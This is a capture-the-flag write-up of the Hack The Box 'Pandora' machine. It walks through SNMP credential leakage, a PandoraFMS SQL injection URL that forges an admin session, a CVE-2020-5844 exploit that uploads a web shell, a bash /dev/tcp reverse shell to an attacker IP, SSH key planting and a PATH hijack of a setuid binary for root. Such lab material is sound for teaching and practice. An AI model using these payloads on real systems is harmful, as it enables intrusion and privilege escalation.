Pandora Writeup

05 March 2023 #CTF #HTB #box #easy #linux

pandora info

Enumeration

Sorry, couldn't think of a nice catchphrase:

$ sudo nmap -n -Pn -sCV -oN enum/initial.nmap 10.10.11.136
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24c295a5c30b3ff3173c68d7af2b5338 (RSA)
|   256 b1417799469a6c5dd2982fc0329ace03 (ECDSA)
|_  256 e736433ba9478a190158b2bc89f65108 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Play | Landing
|_http-favicon: Unknown favicon MD5: 115E49F9A03BB97DEB840A3FE185434C
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

Going to http://10.10.11.136, we get a standard page:

index static page

There is a leaked hostname of panda.htb, but even after adding it to /etc/hosts, it still gives the same page and it doesn't seem to have any subdomains (that are in a wordlist).

At this point we can try to look for other pages:

$ gobuster dir -u http://10.10.11.136/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
/assets         (Status: 301) [Size: 313] [--> http://10.10.11.136/assets/]
/index.html     (Status: 200) [Size: 33560]

But we don't get anything interesting.

SNMP

Since we are at a dead end, we can go back and run a UDP nmap scan:

$ sudo nmap -F -sU -oN enum/udp.nmap 10.10.11.136
PORT    STATE SERVICE
161/udp open  snmp
[...]

We see port 161 is open, which is the SNMP port. To enumerate it, we can run snmpwalk with the default community string ('public'). The output is huge but if we dig into it, we can find what seems like a password for the user daniel:

$ snmpwalk -v1 -c public 10.10.11.136
[...]
HOST-RESOURCES-MIB::hrSWRunParameters.832 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
[...]

Foothold

We have a set of creds (and nothing else) and SSH is open, so you see where I'm going right?

$ ssh daniel@10.10.11.136
[...]
daniel@pandora:~$ id
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel)

It works!

Privesc

PandoraFMS Exploit

If we take a look in the web root, we see another directory:

daniel@pandora:~$ ls -lA /var/www
total 8
drwxr-xr-x 3 root root 4096 Dec  7  2021 html
drwxr-xr-x 3 matt matt 4096 Dec  7  2021 pandora

To better understand what is going on, we should check the apache config:

daniel@pandora:~$ cat /etc/apache2/sites-enabled/pandora.conf
<VirtualHost localhost:80>
  ServerAdmin admin@panda.htb
  ServerName pandora.panda.htb
  DocumentRoot /var/www/pandora
  AssignUserID matt matt
  <Directory /var/www/pandora>
    AllowOverride All
  </Directory>
  ErrorLog /var/log/apache2/error.log
  CustomLog /var/log/apache2/access.log combined
</VirtualHost>

It is available only on localhost and it is running as the 'matt' user.

To view it in our browser, we need to do a local port forward. We can do so with ssh:

$ ssh -L 8081:127.0.0.1:80 daniel@10.10.11.136
[...]

This will open port 8081 on our attack box and forward requests to port 80 on the remote box (on the loopback interface).

Now we can access the virtual host:

pandoraFMS login page

This is the login page for PandoraFMS, a network monitoring solutionl.

At the bottom of the page, there is a version: v7.0NG.742_FIX_PERL2020. Looking up this version leads us to this exploitdb entry for an Authenticated RCE and this blog post describing an SQL injection to bypass login (PoChere). Pretty convenient right?

This is the URL that will grant us an admin session cookie:

http://127.0.0.1:8081/pandora_console/include/chart_generator.php?session_id=a%27%20UNION%20SELECT%20%27a%27,1,%27id_usuario|s:5:%22admin%22;%27%20as%20data--%20-

We're exploiting the SQLi in chart_generator.php by doing a UNION injection that puts us in control of what data is loaded into our session. In this case we use it to impersonate the 'admin' user:

pandoraFMS admin panel

We see the admin panel, so it worked. Now we can take the PHPSESSID cookie and feed it to the exploit script:

$ ./rce.py -t 127.0.0.1 8081 -p l7te11bnl6m2m9fcpu8eac0h57

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....

UNICORD: Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution
OPTIONS: Web Shell Mode
PHPSESS: l7te11bnl6m2m9fcpu8eac0h57
WEBFILE: unicord.php
WEBSITE: http://127.0.0.1:8081/pandora_console
EXPLOIT: Connected to website! Status Code: 200
EXPLOIT: Logged into Pandora FMS!
EXPLOIT: Web shell uploaded!
SUCCESS: Web shell available at: http://127.0.0.1:8081/pandora_console/images/unicord.php?cmd=whoami

This exploit abused an admin functionality to upload a php webshell.

webshell id command

We can get a reverse shell as matt with this payload:
bash -c 'bash -i >%26 /dev/tcp/10.10.14.3/443 0>%261'

Get SSH session for matt

I had weird errors in my reverse shell when dealing with setuid stuff:

matt@pandora:/var/www/pandora/pandora_console/images$ sudo -l
sudo -l
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: unable to initialize policy plugin

So I'll add an SSH key for matt. First, create the .ssh directory and the authorized_keys file:

matt@pandora:/home/matt$ mkdir /home/matt/.ssh
matt@pandora:/home/matt$ touch /home/matt/.ssh/authorized_keys
matt@pandora:/home/matt$ chmod 0600 /home/matt/.ssh/authorized_keys

Don't forget to chmod 600 the authorized_keys file, it won't work otherwise.

Next we need to actually generate the key (on our attack box):

$ ssh-keygen -f matt.key -t ed25519
[...]

Then, add it to the authorized_keys file:

matt@pandora:/home/matt$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILQ2+5jlI09TrGf6KE/7rhHY2D0ATIUX3sE5HUr8/NL3 yep@bruh' > /home/matt/.ssh/authorized_keys

And now we can get a nice SSH session that will fix this weird error:

$ ssh -i matt.key matt@10.10.11.136
[...]
matt@pandora:~$ id
uid=1000(matt) gid=1000(matt) groups=1000(matt)

Abuse Custom setuid Binary

While looking for setuid binaries on the system we come across an interesting result:

matt@pandora:~$ find / -type f -executable -user root -perm -u=s -ls 2> /dev/null
[...]
262929 20 -rwsr-x--- 1 root   matt  16816 Dec 3 2021 /usr/bin/pandora_backup

This pandora_backup executable sticks out. Let's see what it does (what could go wrong?):

matt@pandora:~$ pandora_backup
[...]
/var/www/pandora/pandora_console/vendor/egulias/email-validator/LICENSE
/var/www/pandora/pandora_console/ws.php
Backup successful!
Terminating program!

It seems to create an archive of the web directory.

We'll copy it to our box to analyze it:

$ scp -i matt.key matt@10.10.11.136:/usr/bin/pandora_backup .
pandora_backup                                     %   16KB 180.6KB/s   00:00

Before doing some crazy reverse engineering, we can just run strings on it:

$ strings pandora_backup | head -20
/lib64/ld-linux-x86-64.so.2
puts
setreuid
system
getuid
geteuid
__cxa_finalize
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*
Backup failed!
Check your permissions!
[...]

We see the system function is imported so it's pretty safe to assume the tar command a few line below is being executed.

The tar command is not using an absolute path so we can abuse it by creating a shell script (for example) named tar and modify the PATH variable to execute our custom script instead of the real tar program.

First, create the script. It will just copy bash to our home folder and make it setuid:

matt@pandora:~$ cat tar
#!/bin/sh

cp $(which bash) /home/matt/
chmod u+s /home/matt/bash

Then we need to modify the PATH variable to include our current working directory before the rest of the original PATH:

matt@pandora:~$ export PATH=$PWD:$PATH
matt@pandora:~$ echo $PATH
/home/matt:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Finally execute pandora_backup (and hope for the best):

matt@pandora:~$ pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
Backup successful!
Terminating program!

Let's see if it worked:

matt@pandora:~$ ls -l
total 1164
-rwsr-xr-x 1 root matt 1183448 Mar  4 18:16 bash
-rwxrwxr-x 1 matt matt      66 Mar  4 18:11 tar
-rw-r----- 1 root matt      33 Mar  4 11:14 user.txt

It did! Now just execute bash with the -p flag to preserve privileges:

matt@pandora:~$ ./bash -p
bash-5.0# id
uid=1000(matt) gid=1000(matt) euid=0(root) groups=1000(matt)
bash-5.0# ls /root
root.txt

Key Takeaways